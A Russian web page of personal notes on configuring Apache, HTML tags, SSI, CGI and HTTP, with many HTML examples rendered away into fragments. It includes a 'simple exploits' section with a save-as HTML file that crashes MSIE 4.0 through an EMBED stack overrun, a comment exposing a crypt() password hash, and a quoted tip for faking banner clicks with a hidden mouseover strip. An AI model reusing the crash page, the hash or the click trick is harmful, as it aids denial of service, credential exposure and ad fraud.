Регистрация Вход
Библиотека /
Поиск по библиотекеМоя библиотекаИскать книгу(обмен)

Конфигурирование сервера HTTPD и формат языка HTML

Конфигурирование сервера HTTPD и формат языка HTML


Внимание Этот текст будет слегка более доступным для понимания, если вы посмотрите на него в исходном виде -

"Document source"


Конфигурирование русапача


vi src/include/httpd.h #define HARD_SERVER_LIMIT 2000 ./configure --help ./configure --show-layout \ --sysconfdir=/etc/httpd \ --logfiledir=/var/log/httpd \ --runtimedir=/var/log/httpd \ --add-module=/home/moshkow/src/mod_throttle-3.1.2/mod_throttle.c \ --enable-module=rewrite \ --enable-suexec \ --suexec-caller=www \ --suexec-docroot=/home \ --suexec-logfile=/dev/null

HTTPS своими руками


генерим сертификат openssl req -new -x509 -days 765 -nodes > jj cat prkey.pem jj > stunnel.pem редактируем /etc/stunnel/stunnel.conf и запускаем stunnel

Файлы в каталогах с документами


index.html Если просят выдать каталог, то выдают index если его нет, выдается просто оглавление каталога HEADER.html Его содержимое добавляется перед началом листинга README.html Его содержимое добавляется к концу листинга .htaccess Управляющий файл с локальными настройками текущей директории Разобраться стоит с этими характеристиками: Alias - где то должна лежать расшифровка. а сервер будет ее подставлять. Вот только где ?

Спецсимволы:


Нужно задавать так: & - & " - " > - > < - < >> - >> << - << (C) - © или © (R) - ® - — - – <= - <= >= - >= Extra space -  

Заголовки


Заголовок всего документа

Заголовок 2-го уровня

Ссылка на подраздел в документе Ссылка открываемая в другом окне Так это место должно быть помечено в Документе

Ненумерованный список (Unnumbered list)


  • Одна позиция
  • Другая позиция

Пронумерованный список (Numbered list)


  1. Первая позиция
  2. Вторая позиция

Есть так же и более "мелкие" списки:


  • 1
  • 2
  • ,
  • 1
  • 2
  • Списки с подзаголовками (Definition list)


    Название пункта
    Текст, расписывающий содержимое пункта
    Название пункта
    Текст, расписывающий содержимое другого пункта
            Преформатированный     фрагмент текста
    
            Преформатированный     фрагмент текста в ширину 80
    
    
    
    Устанавливает общий отступ вправо. Вынесенный вправо фрагмент текста
    Горизонтальная черта
    Окончание параграфа

    Жесткий конец строки
    Текст между этими тагами не будет переноситься на новую сторку каким бы длинным он не был

    Физические стили


    Bold жирный текст Itallic курсив текст Underline подчеркнутый Работает только в Netscape 3 Typewriter текст с фонтом фиксированной ширины Blink мигающий текст Strike перечеркнутый текст

    Логические стили


    Definition. Определяемое слово italic Emphasis. Ударение italic Titles of books. Цитата italic Programm. Программный текст fixed User keyboard entry. bold fixed Status message fixed Variable. italic Strong emphasis. bold
    Выделяется адрес italic

    Управление цветами и фонтами


    _BODY_ таги срабатывают только если расположены в самом начале документа А так устанавливают собственные цвета во всем документе А так делали траурные колера, когда протестовали. Текст бОльшего размера, и покрашенный в красный цвет, с заданным типом фонта Дальше пойдет текст с фонтом заданного размера а так же background звук

    Так выглядит обычная ссылка.


    Low impact

    Так вставляют картинку


    Если нужен текст сбоку от картинки Отступ текста от картинки ALT - что написать, если картинка не читается, LOWRES - перед рисованием большой картинки загрузить эту - маленькую Так подкладывают BACKGROUND

    Таблички -


    tr - задает строку СтолбецСтолбец
    Внутри таблицы может быть такой таг, Подзаголовок?
    Табличка фиксированной ширины,не зависящая от размеров внутреннего текста

    Back to my home page
    moshkow@ipsun.ras.ru
    
    

    Встроенная imagemap


    Блоки и квадратики


    КРУПНЫЙ ТЕКСТ В БЛОКЕ прозрачный отступ: spacer Табличка с цветным блочным заголовком и рамочкой
    $M{Ti}{$PI}
    $RazdelOut

    О протоколе HTTP/1.*


    Клиент открывает tcp соединение с хостом www.host.com на порт (обычно 80) и говорит туда GET /local/url/file/name.html HTTP/1.0 Host: www.host.com Http_referer: url_документа_на_котором_стоял_клиент Еще некоторое количество заголовков, которые рассказывают серверу, кто с ним имеет дело. Все они, кроме GET необязательны . . . ^M^J - пустая строка - конец заголовков - конец запроса Обратно вываливается ответ сервера: http-шные заголовки на нескольких строках ^M^J - пустая строка Собственно запрошенный документ as is

    Упражнение:


    $ telnet www 80 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. GET /index.html HTTP/1.0 И потом два раза нажмите на Enter

    Как работет докачка в HTTP/1.1 протоколе?


    В запрос вставляется специальное поле "Range: bytes nnn-". Сервер с докачкой возвращает код 206 - "Часть содержимого" и передает запрошенную часть файла. Если сервер не поддерживает докачки, он просто возвращает 200 и высылает весь файл как при обычном запросе.

    SSI - Server Side Includes


    Полная спецификация лежит, например на www.apache.org 0. Чтобы SSI-файлы взводили Last-modified, добавить в конфиг XBitHack full и сделать им chmod g+x file.shtml 1. Чтобы SSI выполнялись, необходимо задать в конфигурационных файлах сервера: /etc/httpd/conf/access.conf :------------------------ # "Включить" Options +Includes # или даже Options All /etc/httpd/conf/srm.conf :------------------------ AddType text/html .shtml AddHandler server-parsed .shtml 2. Тогда SSI отрабатываются только в файлах с расширением .shtml Примеры: charset= The value will often be enclosed in double quotes; many commands only allow a single attribute-value pair. The allowed ELEMENTS are: config - параметры парсинга Атрибуты config errmsg - сообщение об ошибке, посылаемое клиенту sizefmt - формат размера файла timefmt - формат даты модификации файла var - напечатать имя переменной exec - выполнить shell или CGI-скрипт cgi - (%-encoded) URL relative path to the CGI script. cmd - выполнить shell fsize - напечатать размер файла file - относительное имя файла virtual -(%-encoded) URL-path relative файла flastmod - последннее время модификации файла include - вставить документ file - вставляемый файл virtual - URL - только на этом же хосте Include variables These are available for the echo command, and to any program invoked by the document. DATE_GMT The current date in Greenwich Mean Time. DATE_LOCAL The current date in the local time zone. DOCUMENT_NAME The filename (excluding directories) of the document requested by the user. DOCUMENT_URI The (%-decoded) URL path of the document requested by the user. Note that in the case of nested include files, this is not then URL for the current document. LAST_MODIFIED The last modification date of the document requested by the user. If server side includes are enabled, you will see data values below: The date is: The current version of the server The CGI gateway version The server name
    This file is called: This file's URI The query string This file was last modified: The size of the unprocessed file sample.html was last modified You are using You came from # Эмуляция SSI в perl-cgi if (//) { print $`;$tmp = $'; open (INC,"$inc") || die "Can't Open $inc: $!\n"; while () { if (//) { @time = localtime ( time() ); $time[4]++; if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; } s//$time[3].$time[4].$time[5]/g; } print $_; } close(INC); print "$tmp"; }

    Управление доступом через httpd.conf


    SetEnvIfNoCase Referer rusf\.ru internal_referer SetEnvIfNoCase User-Agent Teleport internal_referer SetEnvIfNoCase User-Agent Vampire internal_referer SetEnvIfNoCase User-Agent ReGet internal_referer SetEnvIfNoCase User-Agent GetRight internal_referer SetEnvIfNoCase User-Agent Wget internal_referer ErrorDocument 403 http://rusf.ru/books/index.htm order deny,allow deny from all allow from env=internal_referer # No offline browsers в robots.txt User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline Explorer, Web-By-Mail Disallow: /

    CGI - спецификация интерфейса между сервером httpd


    и внешними, вызываемыми программами - gateeway'ями. Сам CGI-script должен лежать в /home/httpd/cgi-bin тогда его находят (или в других каталогах, описанных в acces.conf Данные передаются в командной строке, через переменные окружения, и через стандартный ввод. Возвращаются на стандартный вывод, в начале должна стоять "волшебная строка" Если добавить в коннфигурационный файл /etc/httpd/conf/srm.conf :------------------------ AddType application/x-httpd-cgi .cgi То CGI-скрипты можно будет клась в любой подкаталог дерева документов - с расширением .cgi

    Формы и индексы


    Войти в файл, и спозиционироваться на строку с шаблоном "cl" http://hoohoo.ncsa.uiuc.edu/file.html#cl Request for a CGI script with no extra path information and no query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi Request for a script with extra path information, and no query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path Request for a script with no extra path information, and an ISINDEX query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query Request for a script with extra path information as well as an ISINDEX query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query Вызывается одна и та же программа, но ей передается 0,1,1 или 2 аргумента: extra path - "добавочный маршрут", идущий вслед за именем екзешника query - длинная строка после знака "?" на extra path работает image map - им передается имя описателя картинки query передается заполненным ISINDEX

    CGI-скрипту передаются такие параметры:


    Параметры передаются в переменных окружения. REMOTE_ADDR=127.0.0.1 REMOTE_HOST=localhost HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt REQUEST_METHOD=GET QUERY_STRING=query PATH_INFO=/marshrut PATH_TRANSLATED=/home/httpd/docs/marshrut SCRIPT_NAME=/cgi-bin/proba HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified А теперь вот как оформляются формы с checkbox'ами:
    Press me.

    Press me.

    # ISINDEX - параметр запроса передается пргограмме CGI в $1 # В форме METHOD=GET - там вызывается команда которой передается # аргумент в переменной окружения QUERY_STRING # http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off # А вот как работает POST, и PUT. Дополнительная информация проталкивается клиентом на сервер. Сервер подает ее cgi-программе на стандартный ввод. длина посылаемого файла устанавливается в переменной окружения CONTENT_LENGTH а тип данных - в CONTENT_TYPE FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"
    ^^^^^ поле полезно чтоб хранить информацию о "сеансе" Press me.

    Что мы посылаем клиенту обратно:


    Status: 200 OK Status: 404 File not found Content-type: text/html Содержимое, которое кидается сквозь нашего сервера - клиенту Если я генерю не содержимое, а только ссылку, то: Location: /path/doc.txt или Location: gopher://gopher.ncsa.uiuc.edu/ Генерим текст в чистом серверном виде - он поедет клиенту сразу, без дополнительной фильтрации: --- start of output --- HTTP/1.0 200 OK Date: Tuesday, 26-Dec-95 15:17:10 GMT Server: NCSA/1.3 MIME-version: 1.0 Content-type: text/html Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT Content-length: 3132 This is a plaintext document generated on the fly just for you. --- end of output --- Подставляйте туда соответствующие значения переменных $SERVER_PROTOCOL $SERVER_SOFTWARE

    Фенечки


    Автоподстановка URL с timeout'ом. Подставить в начало документа: Дальше идет местный HTML-документ - который через 12 секунд будет автоматически заменен на вышеуказанный URL Вообще - таг META HTTP-EQUIV позволяет взвести дополнительные поля в HTTP-заголовок документа. Например "насильственное взведение charset'а:
    I'm entering for the first time from (city, state/country)

    Content-type: text/html Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram Эта штучка будет автоматом отсылаться в наш сервер клиентом, как только он ее получил Подробнее см. http://citforum.ru/win/internet/html/c_what_is.shtml Если сказать так, то клиент останется на старом месте, и не будет переходить по ссылке Status: 204 No Content А такой линк позволяет сразу заполнить некоторые поля в mailto послании tets Самокликаемое письмо > Была идея посылать в него сообщение когда мышкой над баннером проводят. > (Когда баннер интересен, часто к нему курсор подводят) > Но что-то я не допёр как это реализовать без hidden frame. В правилах устанавливаешь, что у тебя _стандартный код_ твоей сетки содержит: Когда клиент будет снизу _пересекать_ мышью твою однопиксельную полоску будет автоклик, а чтоб клиента не напрягать - пускай твой http://koshelev.ru/cgi-bin/bannerOver возвращает код 204 No Content - т.е. _не переходить_ на линк а остаться на старой странице.

    Ссылка на которую переходят автоматически


    Достаточно навести на эту ссылку мышь, и броузер пойдет по линку - без клика.

    Простые эксплойты


    MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag. <EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________> opens a dialog box and closes IE 4.0. the long file extension causes stack overrun. --------cut here and save as crashmsie.html--------------------- Trying to crash IE 4.0 <EMBED SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789> 40 80 160 170 180 190 200 </HTML> ---------------------------------------------------------------

    Закрытие каталогов для внешних клиентов


    Создаем в каталоге файл .htaccess такого содержания order deny,allow deny from all allow from polimos.ras.ru localhost Order deny,all Allow from .abc.ru Deny from all Satisfy any AuthType Basic AuthName lenta.ru AuthUserFile /home/www/passwd # moshkow:1HrhNpfYnwTau стандартный crypt() require valid-user

    См. также


    Константин Окраинец. Учебник по HTML из Дубны Фреймы и прочие дополнения, возникшие в HTML 2.0 и HTML 3

    Компиляция апача и php


    Русский apache берется с http://apache.lexa.ru Php4 берется с http://download.php.net/distributions/php-4.0.6.tar.gz Для динамической линковки php в апаче должен быть установлен модуль mod_so.c httpd$ ./configure --prefix=/home/ej/apache --add-module=src/modules/standard/mod_so.c make install php$ ./configure --prefix=/home/ej/apache --with-mysql --with-apxs=/home/ej/apache/bin/apxs --with-mod_charset make install

    Конфигурация suexec


    ./configure --enable-suexec --suexec-caller=lenta --suexec-logfile=/var/log/httpd/suexec.log --runtimedir=/var/log/httpd --logfiledir=/var/log/httpd --suexec-docroot=/home --layout ./configure --enable-suexec --suexec-caller=lenta --suexec-logfile=/dev/null --runtimedir=/var/log/httpd --logfiledir=/var/log/httpd --suexec-docroot=/home --enable-module=mod_lcookie --layout MaxClients -- src/include/httpd.h - HADVAR_SERVER_LIMIT

    Как предложить браузеру сохранить файл выдаваемый CGI-скриптом под


    именем отличным от текущего CGI. Для IE нужно выдать заголовок: Content-Disposition: attachment; filename=somefile.jpg

    Как указать RSS-feed


    - в

    Наша библиотека является официальным зеркалом библиотеки Максима Мошкова lib.ru

    Реклама